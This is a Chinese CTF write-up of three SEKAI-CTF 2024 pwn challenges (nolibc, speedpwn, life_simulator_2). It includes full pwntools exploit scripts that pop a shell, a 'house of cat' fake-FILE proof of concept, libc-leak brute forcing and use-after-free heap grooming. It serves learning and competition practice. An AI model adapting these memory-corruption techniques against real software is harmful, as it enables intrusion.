奇安信攻防社区-2024 SEKAI-CTF（nolibc speedpwn life_simulator

2024 SEKAI-CTF（nolibc speedpwn life_simulator_2）

nolibc
======

```bash
[!] Did not find any GOT entries
[*] '/home/llk/Desktop/pwn/sekaictf/nolibc/main'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

```

检查保护感觉是溢出，只能注册一个账户并登录该账户  
可以通过data段残留的pie地址泄露pie 后来Nightu师傅说可以直接读文件的，被自己蠢哭了

后来tplus师傅是利用size是buffer长度不是整个chunk，可以溢出改系统调用号，当时也想过，但当时源码没逆太懂，后来逆懂了后确实存在一个很明显的洞

```c
char *__fastcall alloc(int size)
{
  struct chunk *next_use_chunk; // [rsp+4h] [rbp-20h]
  signed int up_align_16_size; // [rsp+10h] [rbp-14h]
  struct chunk *v4; // [rsp+14h] [rbp-10h]
  struct chunk *v5; // [rsp+1Ch] [rbp-8h]

if ( !size )
    return 0LL;
  up_align_16_size = (size + 15) & 0xFFFFFFF0;
  v5 = next_use_chunk_ptr;
  v4 = 0LL;
  while ( 1 )
  {
    if ( !v5 )
      return 0LL;
    if ( up_align_16_size <= v5->size )
      break;
    v4 = v5;
    v5 = v5->next_use_chunk;
  }
  if ( v5->size >= (unsigned __int64)(up_align_16_size + 16LL) )
  {
    next_use_chunk = (struct chunk *)&v5->buff[up_align_16_size];
    next_use_chunk->size = v5->size - up_align_16_size - 16;
    next_use_chunk->next_use_chunk = v5->next_use_chunk;
    v5->next_use_chunk = next_use_chunk;
    v5->size = up_align_16_size;
  }
  if ( v4 )
    v4->next_use_chunk = v5->next_use_chunk;
  else
    next_use_chunk_ptr = v5->next_use_chunk;
  return v5->buff;
}
```

首先会根据`next_use_chunk`找到一个size大于等于`up_align_16_size`的use\_chunk\_ptr，如果找到的use\_chunk\_ptr就是当前的next\_use\_chunk\_ptr 一开始的（第一个可以被使用的chunk），就会直接更新`next_use_chunk_ptr = v5->next_use_chunk;`，并且会根据`v5->size >= (unsigned __int64)(up_align_16_size + 16LL)`size是否大于等于当前chunk的总长度来决定是否要分割（大于等于意味着分为后至少还有剩余的0x10部分可以作为chunk\_header），如果只满足size大于等于`up_align_16_size`此时会迭代`next_use_chunk_ptr = v5->next_use_chunk;`（不能分割，说明当前正好合适）

由于最高next\_use\_chunk的size是剩余长度，而不是buff长度，而原来比较都是buffer长度，所以会将剩余长度认为是buffer长度，当剩余长度为0x10,此时如果分配0x20会溢出0x10个字节

注意分配的size是输入的`len+0x10& 0xFFFFFFF0`,然后输入内容的长度是`len+1`,这样输入的内容只能填溢出的那一个字节，但通过`len=0x xxxf`可以避免

exp
---

```python
from pwn import *

p=process("./main")

context(os="linux",arch="amd64",log_level="debug")
p.sendlineafter(b"Choose an option: ",str(2))
p.sendlineafter(b"Username: ",b"llk") 
p.sendlineafter(b"Password: ",b"1010")

p.sendlineafter(b"Choose an option: ",str(1))
p.sendlineafter(b"Username: ",b"llk") 
p.sendlineafter(b"Password: ",b"1010")

def add(length,content):
    p.sendlineafter(b"Choose an option: ",str(1))
    p.sendlineafter(b"Enter string length: ",str(length)) 
    p.sendlineafter(b"Enter a string: ",content)

def dele(index):
    p.sendlineafter(b"Choose an option:",str(2))
    p.sendlineafter(b"Enter the index of the string to delete: ",str(index))

def show():
    p.sendlineafter(b"Choose an option:",str(3))

def save(filename):
    p.sendlineafter(b"Choose an option:",str(4))
    p.sendlineafter(b"Enter the filename: ",filename)

def load(filename):
    p.sendlineafter(b"Choose an option:",str(5))
    p.sendlineafter(b"Enter the filename: ",filename)

# load("/proc/self/maps")
# show()
# leak=p.recv(timeout=2)
# print("[+] leak------------------------")

for i in range(191):
    add((int("0xe0", 16)),"llk")

# gdb.attach(p)

add((int("0x7f", 16)),0x70*b"a"+p32(0)+p32(1)+p32(59)+p32(3))

# pause()

for i in range(191):
    dele(i)

# pause()
load(b"/bin/sh\x00")

p.interactive()

```

speedpwn
========

```bash
[*] '/home/llk/Desktop/pwn/sekaictf/speedpwn/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

```

记得.gdbinit要有`set disable-randomization off`

```c
unsigned long long game_history;
unsigned long long seed;
FILE *seed_generator;
……
 if(cmp(player_num, bot_num)) {
        puts("You win!");
        *((unsigned long long*)&game_history + (number_of_games / 64)) |= ((unsigned long long)1 << (number_of_games % 64));
    }
    else {
        puts("Bot wins!");
        *((unsigned long long*)&game_history + (number_of_games / 64)) &= (~((unsigned long long)1 << (number_of_games % 64)));
    }

```

明显的game\_history溢出可以往高地址处bss任意写，可以发送全为1来设置对应game\_history相应位为1，为0来设置对应game\_history相应位为0

溢出改seed\_generator文件结构体，但是没有地址泄露，想通过栈的残留libc泄露，但发现变量都被输入赋值了请教eurus师傅说是通过scanf输入 - 不会改变残留libc，从而libc泄露，没想到scanf输入 - 不会改变残留libc，自己还是太菜了

应该是调用libc函数在栈帧上残留的libc地址，然后通过simulate中的cmp爆破，每次simulate残留的栈帧都一样

利用残留libc低20位和最高4位不变来爆破（我在ubuntu22.04上跑是这样的，但好像别的师傅的wp都是低12位,但爆破原理都是一样的）  
最低libc位为0，所以从低位往高位填比特位1当长度相等时候，此时返回0，而不是1，从而得到比特位1的个数

- 长度：最低libc位为0，所以从低位往高位填比特位1当长度相等时候，此时返回0，而不是1，从而得到比特位1的个数
- 比特位，通过爆破中间的24位，从低至高比特位设1爆破规则如下

```c
  libc_midd_24    player_midd_24
    ……            ……
    0             0
    1             0 
    0             0
    0             0
    0/1           1    ->   为1相等往高位遍历时由于不相等然后&后一定返回1，为0不相等则返回0    
```

想改got表，但没有函数可以控制参数，并且seed\_generator只能改一次，所以想通过IO劫持控制流然后getshell，因为无法修改seed\_generator的文件结构体，所以利用越界写bss来伪造文件结构体，然后再打IO

IO的house of cat的poc

```c
#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
size_t getlibc()
{
    puts("getlibc");
    size_t result=&puts-0x75b30;
    return result;
}
unsigned long long seed;
FILE *seed_generator;
size_t fake_io[0x100];
int main()
{   
     setvbuf(stdout, NULL, _IONBF, 0);
    size_t libc_base=getlibc();
    printf("libc base %p",libc_base);

seed_generator = fopen("/dev/urandom", "r");
    fread((char*)&seed, 1, 8, seed_generator);

fake_io[0]=0x3b687320;  //will cover  content that lock point with 1
    fake_io[0x20/8]=0;  //write_base
    fake_io[0x28/8]=1;  //write_ptr
    fake_io[0xa0/8]=fake_io;   //_wide_data  
    fake_io[0x18/8]=0;         //_wide_data->_IO_write_base
    fake_io[0x30/8]=0;     //_wide_data->_IO_buf_base
    fake_io[0xe0/8]=fake_io;    // _wide_data->__wide_vtable 0xe0
    fake_io[0x68/8]=libc_base+0x4e720;  //system  
    fake_io[0x88/8]=fake_io+0x100/8;  // attention fake_io is long*  , lock  address can be write    [fake_io+8]==0         
    fake_io[0xc0/8]=0;  //mode
    fake_io[0xd8/8]=libc_base+0x1d2648-40; //_IO_wfile_jumps-40

seed_generator=fake_io;

fread((char*)&seed, 1, 8, seed_generator);

}
```

exp
---

```python
from pwn import *

p=process("./chall")

def set_1():
    p.sendlineafter(b"> ",str("f"))
    p.sendlineafter(b"Player plays: ",str(18446744073709551615))

def set_0():
    p.sendlineafter(b"> ",str("f"))
    p.sendlineafter(b"Player plays: ",str(0))

def simulate(bot,play):
    p.sendlineafter(b"> ",str("s"))
    p.sendlineafter(b"Bot number: ",str(bot))
    p.sendlineafter(b"Player number: ",str(play))

libc=0x7000000955c2
leak_1bit_number_libc=0x7000000955c2+1
num=1

for i in range(48,64):
    tmp=leak_1bit_number_libc
    tmp=tmp|1<<i

simulate("-",tmp)
    result=p.recvuntil(b"!")
    if b"Bot win!" in result:
        num=num+1
        leak_1bit_number_libc=leak_1bit_number_libc|1<<i 
    if b"You win!" in result:
        num=num+1
        leak_1bit_number_libc=(leak_1bit_number_libc-1)|1<<i |1<<(i+1) 
        print("1bit_num",num)
        break

use_num=0
libc=leak_1bit_number_libc

max_num=num

for i in range(20,44):

if use_num==max_num-1:
        tmp=libc
        tmp=tmp&~(1<<44)
        print("& libc",hex(tmp))
        tmp=tmp|1<<i 
        print("try libc",hex(tmp))

simulate("-",tmp)
        result=p.recvuntil(b"!")

if b"Bot win!" in result:
            print("leak finish")
            libc=tmp|(1<<44)
            libc=libc&~(1<<(use_num+48))

break
        continue
    tmp=libc
    tmp=tmp&~(1<<(use_num+48)) 
    print("& libc",hex(tmp))
    tmp=tmp|1<<i 
    print("try libc",hex(tmp))
    simulate("-",tmp)
    result=p.recvuntil(b"!")

if b"Bot win!" in result:
        print("success libc bit",hex(tmp))
        libc=tmp
        use_num=use_num+1

libc_base=libc-0x955c2

def write_64(content):
    for i in range(64):

if content & (1<<i)!=0:
            set_1()

else:
            set_0()

write_64(0)
write_64(0)
write_64(0x4040a0)

# fake_io[0]=0x3b687320;  #will cover  content that lock point with 1
# fake_io[0x20/8]=0;  #write_base
# fake_io[0x28/8]=1;  #write_ptr
# fake_io[0xa0/8]=0x4040a0;   #_wide_data  
# fake_io[0x18/8]=0;         #_wide_data->_IO_write_base
# fake_io[0x30/8]=0;     #_wide_data->_IO_buf_base
# fake_io[0xe0/8]=0x4040a0;    # _wide_data->__wide_vtable 0xe0
# fake_io[0x68/8]=libc_base+0x58740;  #system  
# fake_io[0x88/8]=0x4040a0+0x100;  # attention fake_io is long*  , lock  address can be write    [fake_io+8]==0         
# fake_io[0xc0/8]=0;  #mode
# fake_io[0xd8/8]=libc_base+0x202228-40; #_IO_wfile_jumps-40

payload=flat({0:p32(0x3b687320),0x28:p64(1),0x30:p64(0),0x68:p64(libc_base+0x58740),0x88:p64(0x4040a0+0x100),0xa0:p64(0x4040a0),0xc0:0,0xd8:p64(libc_base+0x202228-40),0xe0:p64(0x4040a0)},filler=b'\x00', length=0x100)

# gdb.attach(p)

# context(os="linux",arch="amd64",log_level="debug")
while payload:
    tmp=payload[:8]
    print(u64(tmp))
    write_64(u64(tmp))
    payload=payload[8:]

p.sendlineafter(b"> ",str("r"))
p.interactive()

```

life\_simulator\_2
==================

委托构造函数
------

委托构造函数是 C++11 引入的一种特性，允许一个构造函数调用同一类中的另一个构造函数。这种特性可以减少代码重复，提高代码的可维护性和可读性。通过委托构造函数，我们可以在一个构造函数中对对象进行标准化的初始化，然后在其他构造函数中复用这个初始化逻辑。

### 委托构造函数的语法

基本语法是通过初始化列表来调用另一个构造函数。例如：

```cpp
class Example {
public:
    // 主构造函数
    Example(int a, int b, int c) {
        // 初始化逻辑
        x = a;
        y = b;
        z = c;
    }

// 委托构造函数，调用主构造函数
    Example(int a, int b) : Example(a, b, 0) {}

// 委托构造函数，调用主构造函数
    Example(int a) : Example(a, 0, 0) {}

// 委托构造函数，调用主构造函数
    Example() : Example(0, 0, 0) {}

private:
    int x, y, z;
};
```

### 解释

1. **`Example(int a, int b, int c)`**
    
    
    - 这是主构造函数，负责初始化所有三个成员变量 `x`, `y`, 和 `z`。
2. **`Example(int a, int b) : Example(a, b, 0) {}`**
    
    
    - 这是一个委托构造函数，它调用了主构造函数 `Example(int a, int b, int c)`，并将第三个参数 `c` 默认设为 `0`。
    - 这样可以避免在构造函数中重复初始化逻辑。
3. **`Example(int a) : Example(a, 0, 0) {}`**
    
    
    - 这个构造函数又进一步简化，只需一个参数 `a`，其他两个参数都设为 `0`，继续委托给主构造函数。
4. **`Example() : Example(0, 0, 0) {}`**
    
    
    - 无参数构造函数，所有参数都设为默认值 `0`。

std:remove和std:erase
--------------------

这段代码用于从 `std::vector<Company*> companies` 中移除特定的 `Company*` 指针。让我们逐步解释这段代码的工作原理及其背后的原理：

### 代码解释

```cpp
companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
```

1. **`std::remove` 函数**
    
    
    - **功能**: `std::remove` 是 C++ 标准库中的一个算法，用于重新排列范围 `[first, last)` 中的元素，使得所有不等于 `value` 的元素都在前面，并返回一个新的迭代器，指向 "删除" 操作后的新末尾。
    - **参数**: 
        - `companies.begin()`: 指向向量的起始位置的迭代器。
        - `companies.end()`: 指向向量的结束位置的迭代器。
        - `company_to_remove`: 需要从向量中移除的特定 `Company*` 指针。
    - **结果**: `std::remove` 并不真正删除元素，而是将不需要的元素移到后面，并返回新末尾的迭代器。
2. **`companies.erase` 函数**
    
    
    - **功能**: `erase` 是 `std::vector` 的成员函数，真正从向量中移除指定范围内的元素。
    - **参数**: 
        - 第一个参数是 `std::remove` 返回的新末尾的迭代器。
        - 第二个参数是 `companies.end()`，指向向量的真实末尾。
    - **结果**: `erase` 会从向量中移除从 `std::remove` 返回的迭代器到向量末尾的所有元素。

### 原理

- **“移除-擦除”惯用法**: 这段代码利用了 C++ 中的“移除-擦除”惯用法（remove-erase idiom），这是在 STL 容器中删除元素的常见模式。因为 `std::remove` 只是重新排列元素，而不改变容器的大小，所以需要使用 `erase` 来真正移除那些多余的元素。
- **效率**: 这种方法是有效的，因为它只遍历容器一次，使用 `std::remove` 移动元素，避免了在循环中多次调用 `erase` 导致的效率低下。

### 内存管理注意事项

- **删除指针**: 在使用 `std::vector<Company*>` 时，`erase` 仅移除指针，而不删除指针所指向的堆内存。如果 `Company*` 指针是通过 `new` 分配的，程序员需要确保在移除之前或之后通过 `delete` 释放这些内存，以避免内存泄漏。例如：
    
    ```cpp
    auto it = std::remove(companies.begin(), companies.end(), company_to_remove);
    for (auto iter = it; iter != companies.end(); ++iter) {
      delete *iter; // 释放堆内存
    }
    companies.erase(it, companies.end());
    ```

思路
--

保护全开

从题目描述来看好像是从worker出发，没卵用

只发现了个整数溢出，感觉没卵用，同时发现clear不太正常，因为没有释放，只是清零  
请教nightu师傅是逻辑问题，实在忽视了。。感觉太久没注意到这种逻辑洞了

其实整数溢出还是有用的，以后还是要关注溢出后的结果对程序执行流的影响，可能存在意想不到的惊喜。同时以后还得理清代码逻辑了

整数溢出影响的数其中可能能影响程序控制流的数`company_budget`其会影响total\_net\_worth，从而导致它也越界，但好像total\_net\_worth越界对其他程序执行流依然正常理解（逻辑正常），然后关于`company_budget`越界可能影响程序执行流的只有这个了，但这个发现逻辑比较炸裂

```c
void Company::elapse_week() {
    uint64_t total_profit = 0;
    for(auto it : this->projects) {
        total_profit += it->generate_profit() - it->worker_pay();
    }
    this->company_budget += total_profit;
    this->company_age += 1;

if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {
        std::cerr << "ERR: Not Allowed" << std::endl;
        return;
    }
```

等价于

```c
company_to_remove->number_of_workers() != 0 && company_to_remove->get_company_budget() != 0
```

与正常逻辑相反，应该是有意让为0尝试，考虑为零带来的影响，二者至少有一个为0才能sell掉

然后进入，这里company\_to\_remove释放后进入0x50的tcache，想可以通过再次申请然后泄露堆地址，但相关申请堆的实例都会覆盖前八个字节。。give up

```c
company_to_remove->remove_projects();
    delete company_to_remove;

void Company::remove_projects() {
    for(auto it : this->projects) {
        delete it;
    }
    this->projects.clear();
}
Company::~Company() { 
    this->company_name.clear();
    this->projects.clear();
    this->company_budget = 0;
}
Project::~Project() { 
    this->project_name.clear();
    this->workers.clear();
    this->company = nullptr;
    this->profit_per_week = 0;
}
```

发现这边释放的不完整，只释放了projects对象（0x48也是进入0x50的tcache），但project内的std::vector&lt;Worker*&gt; workers {};里面指向的各个Worker对象没有被释放，并且Worker对象里有` Project* project;`但project已经被释放了，所以可以通过workers UAF

然后选择generate\_profit()为零，worker\_pay()为company\_budget的方法使得company\_budget最后为零

generate\_profit()这里profit\_per\_week 不能为零，一开始想看看有没有可能二者的乘积溢出，然后在转换为uint64\_t 后为零

当 `double` 和 `uint64_t` 相乘后，再将结果转换为 `uint64_t` 类型时，如果结果超出了 `uint64_t` 能表示的范围，就可能导致溢出。在某些情况下，溢出的结果可能被转换为 `0`。

### 1. 背景

`uint64_t` 是64位无符号整数，其取值范围是 `[0, 2^64 - 1]`，即 `[0, 18446744073709551615]`。当 `double` 的乘积超过这个范围时，再转换为 `uint64_t` 时会发生溢出。

在C/C++中，当浮点数转换为无符号整数类型时，如果浮点数超出了目标类型的表示范围，行为是未定义的。具体表现可能因编译器和运行时环境的不同而有所变化。在某些系统中，溢出的结果可能被视为 `0`。

### 2. 示例代码

以下是一个示例代码，展示了这种情况：

```cpp
#include <iostream>
#include <cstdint>
#include <limits> // For std::numeric_limits

int main() {
    uint64_t a = 18446744073709551615ULL; // uint64_t的最大值
    double b = 2.0; // 将使结果超过uint64_t最大值

double result_double = a * b; // 先计算乘积，结果为double
    uint64_t result_uint64 = static_cast<uint64_t>(result_double); // 转换为uint64_t

std::cout << "Double result: " << result_double << std::endl;
    std::cout << "Converted to uint64_t: " << result_uint64 << std::endl;

return 0;
}
```

### 3. 解释

在这个例子中：

- `a` 是 `uint64_t` 类型的最大值 `18446744073709551615`。
- `b` 是 `double` 类型的 `2.0`。

当 `a` 和 `b` 相乘时，结果是 `36893488147419103230`（即 `2 * 18446744073709551615`），这个值远远超过了 `uint64_t` 类型的最大值。

在将 `result_double` 转换为 `uint64_t` 时，因为结果超出了 `uint64_t` 的表示范围，行为未定义。在某些编译器或运行时环境下，溢出的结果可能被处理为 `0`。

```cpp
Double result: 3.68935e+19
Converted to uint64_t: 0
```

然后让`number_of_workers`和`profit_per_week`尽可能的大就行了

或者看看`std::pow((long double)PROFIT_RATIO, this->number_of_workers())`有没有可能为零，但不太可能为零

```c
uint64_t Project::generate_profit() {
    return this->profit_per_week * std::pow((long double)PROFIT_RATIO, this->number_of_workers());
    //果 PROFIT_RATIO 是 1.1，number_of_workers() 返回 3，那么这个表达式就会计算 1.1³。
}
```

UAF后连续申请company拿到占据原来的object，然后分配个project给该company使得vector部分被填冲好，不然使用该company作为object时`Company* Project::get_company()`会拿到0，后面对`get_company`到的company会进行相关访问操作，然后是想用workers\_info来泄露地址

一开始感觉泄露不了，也感觉占据的话由于对应的`Company位置不是Company对象，可能当作Company访问会出现bug，主要是get_company_name和number_of_projects`，并且没有直接残存并且正好输入该位置内容的那种，但还是决定试试，然后调试的时候发现`Project workers count: 11941248770158`，结合对应的函数和此时布局来看

```c
__int64 __fastcall std::vector<Worker *>::size(_QWORD *a1)
{
  return (__int64)(a1[1] - *a1) >> 3;
}

company占据project
pwndbg> tele 0x56e24f210390 12
00:0000│ rax 0x56e24f210390 —▸ 0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */
01:0008│     0x56e24f210398 ◂— 5
02:0010│     0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */
03:0018│     0x56e24f2103a8 ◂— 0
04:0020│     0x56e24f2103b0 ◂— 0x3f2
05:0028│     0x56e24f2103b8 ◂— 0
06:0030│     0x56e24f2103c0 —▸ 0x56e24f210370 —▸ 0x56e24f210650 —▸ 0x56e24f210660 ◂— 0x56e2006e7770 /* 'pwn' */
07:0038│     0x56e24f2103c8 —▸ 0x56e24f210378 ◂— 0
08:0040│     0x56e24f2103d0 —▸ 0x56e24f210378 ◂— 0

```

惊奇的发现`a1[1]就是0x56e24f210370`然后`*a1就是0`，然后`>>3`,所以此时`11941248770158就是右移3位的结果`

此时根据`Company* Project::get_company()`得到的`Company`如下

```bash
pwndbg> tele 0x56e24f210378 12
00:0000│  0x56e24f210378 ◂— 0      #  std::string company_name {""};
01:0008│  0x56e24f210380 ◂— 0
02:0010│  0x56e24f210388 ◂— 0x51 /* 'Q' */
03:0018│  0x56e24f210390 —▸ 0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */
04:0020│  0x56e24f210398 ◂— 5    #company_budget
05:0028│  0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */   #    uint64_t company_age {0};
06:0030│  0x56e24f2103a8 ◂— 0  # std::vector<Project*> projects {};
07:0038│  0x56e24f2103b0 ◂— 0x3f2
08:0040│  0x56e24f2103b8 ◂— 0
09:0048│  0x56e24f2103c0 —▸ 0x56e24f210370 —▸ 0x56e24f210650 —▸ 0x56e24f210660 ◂— 0x56e2006e7770 /* 'pwn' */
0a:0050│  0x56e24f2103c8 —▸ 0x56e24f210378 ◂— 0
0b:0058│  0x56e24f2103d0 —▸ 0x56e24f210378 ◂— 0

```

然后感觉应该是围绕着worker进行，因为其他的操作都是正常操作，`hire_worker对能够UAF的worker的相关操作好像没啥影响和fire_worker由于对应的object是被company占据的，vector也不完整，用不了，mov_worker由于不完整也不能成功`。。。。。

通过string伪造company好像没啥用（因为work相关函数直接联系project）

打`std::string`，字符串长度过长会在堆上创建，如果申请的company的名字字符过长时，会导致，申请一个堆存company后，然后再申请一个堆存字符串，而存字符串的堆对应原来worker的project。但add过程中会分配很多在堆上上的字符串缓冲区（大概三个，company前一个，company后两个），size就是字符串长度+0x10。所以得提前准备

```c
Allocated chunk | PREV_INUSE
Addr: 0x5b81513c76b0  //add后被free
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c76f0
Size: 0x50 (with flag bits: 0x51)

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c7740   //add后被free
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c7780
Size: 0x40 (with flag bits: 0x41)

```

为0x50时，会连续申请四个size为0x50的，第二个是company，第四个是字符的

进入add前

```bash
要使得0x5b35e9aef6c0被string覆盖，但由于一开始会申请一个0x50的缓冲区，然后分配company，导致0x5b35e9aef6c0 没有被覆盖为company

0x50 [  3]: 0x5b35e9aee600 —▸ 0x5b35e9aef6c0 —▸ 0x5b35e9aef850 ◂— 0

Allocated chunk | PREV_INUSE
Addr: 0x5b35e9af05c0
Size: 0x50 (with flag bits: 0x51)

add结束后

pwndbg> tele 0x5b35e9aee600 
00:0000│  0x5b35e9aee600 ◂— 0x5b305af062be
01:0008│  0x5b35e9aee608 ◂— 0x9d6f99e477f2dda3
02:0010│  0x5b35e9aee610 ◂— 'llllllllllllllllllllllllllllllllllllllllllllllll'
... ↓     5 skipped
pwndbg> tele 0x5b35e9aef850 
00:0000│  0x5b35e9aef850 ◂— 0x5b35e9aef
01:0008│  0x5b35e9aef858 ◂— 0x9d6f99e477f2dda3
02:0010│  0x5b35e9aef860 ◂— 'llllllllllllllllllllllllllllllllllllllllllllllll'
... ↓     5 skipped
pwndbg> tele 0x5b35e9af05c0
00:0000│  0x5b35e9af05c0 ◂— 0xa30 /* '0\n' */
01:0008│  0x5b35e9af05c8 ◂— 0x51 /* 'Q' */
02:0010│  0x5b35e9af05d0 ◂— 'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll'
... ↓     5 skipped

```

通过这样布局即可解决

```bash
add_company(b"wait1 ",str(1200).encode())
add_company(b"wait2 ",str(1200).encode())
add_company(b"wait3 ",str(1200).encode())
add_company(b"wait4 ",str(1200).encode())

sell_company(b"wait3 ") 
sell_company(b"wait2 ") 
sell_company(b"wait1 ")   
sell_company(b"wait4 ")   
```

然后找找堆上是否有残留libc地址或者栈地址，改company到那里的一定偏移去。再worker\_info泄露， 傻逼了，突然想到，直接分配个company的字符堆能到unsortedbin就行

但糟糕的是如果按照如下布局，`0x64985160e6c0`会被free，导致原来的string被占据了些大的地址，所以得保证`0x64985160e6c0`是最后一个才行

```bash
#0x50 [  3]: 0x64985160d600 —▸ 0x64985160e6c0 —▸ 0x64985160e850 ◂— 0

#0x50 [  4]: 0x64985160f5c0 —▸ 0x64985160d600 —▸ 0x64985160e6c0 —▸ 0x64985160e850 ◂— 0

pwndbg> tele 0x5be0f554e6c0
00:0000│  0x5be0f554e6c0 ◂— 0x5be0f554e
01:0008│  0x5be0f554e6c8 ◂— 0x18ebbc21ea61c452
02:0010│  0x5be0f554e6d0 ◂— 0x6c6c6c6c6c6c6c6c ('llllllll')
... ↓     4 skipped
07:0038│  0x5be0f554e6f8 —▸ 0x5be0f55504a0 ◂— 0
```

但依然不满足project中的头部的string对象格式，但我们可以构造，直接对照一个搬过来就行，然后将头部的string地址设置为泄露libc的地址，然后为了避免company出现访问和string对象问题，将其设置为存在的company

```bash
pwndbg> tele 0x584af5e746c0  12
00:0000│  0x584af5e746c0 ◂— 0x6c6c6c6c6c6c6c6c ('llllllll')
... ↓     6 skipped
07:0038│  0x584af5e746f8 —▸ 0x584af5e764a0 ◂— 0

```

但棘手的是，string长度为0x47才会申请到0x50的chunk，但0x48就不会了，所以company的低字节不会，但只需要7个字节就够了，因为堆的地址只有6个字节，还好还好

靠忘记可以再free进入然后再申请，就可以再次修改company和project了。。搞得我构造两次。。

剩下一开始想劫持rop，打找不到可以打的点，有个写堆地址的以为无用。。

问了tplus师傅，太强啦，写堆地址-&gt;任意地址写堆地址-&gt;写tcache\_struct-&gt;fd出栈造rop

由于worker不能伪造，这里worker前八个字节是string的地址，这里还得让string大些，然后string字符再含有栈地址，然后就能出来

1 条评论

麦当当 5天前

厉害👍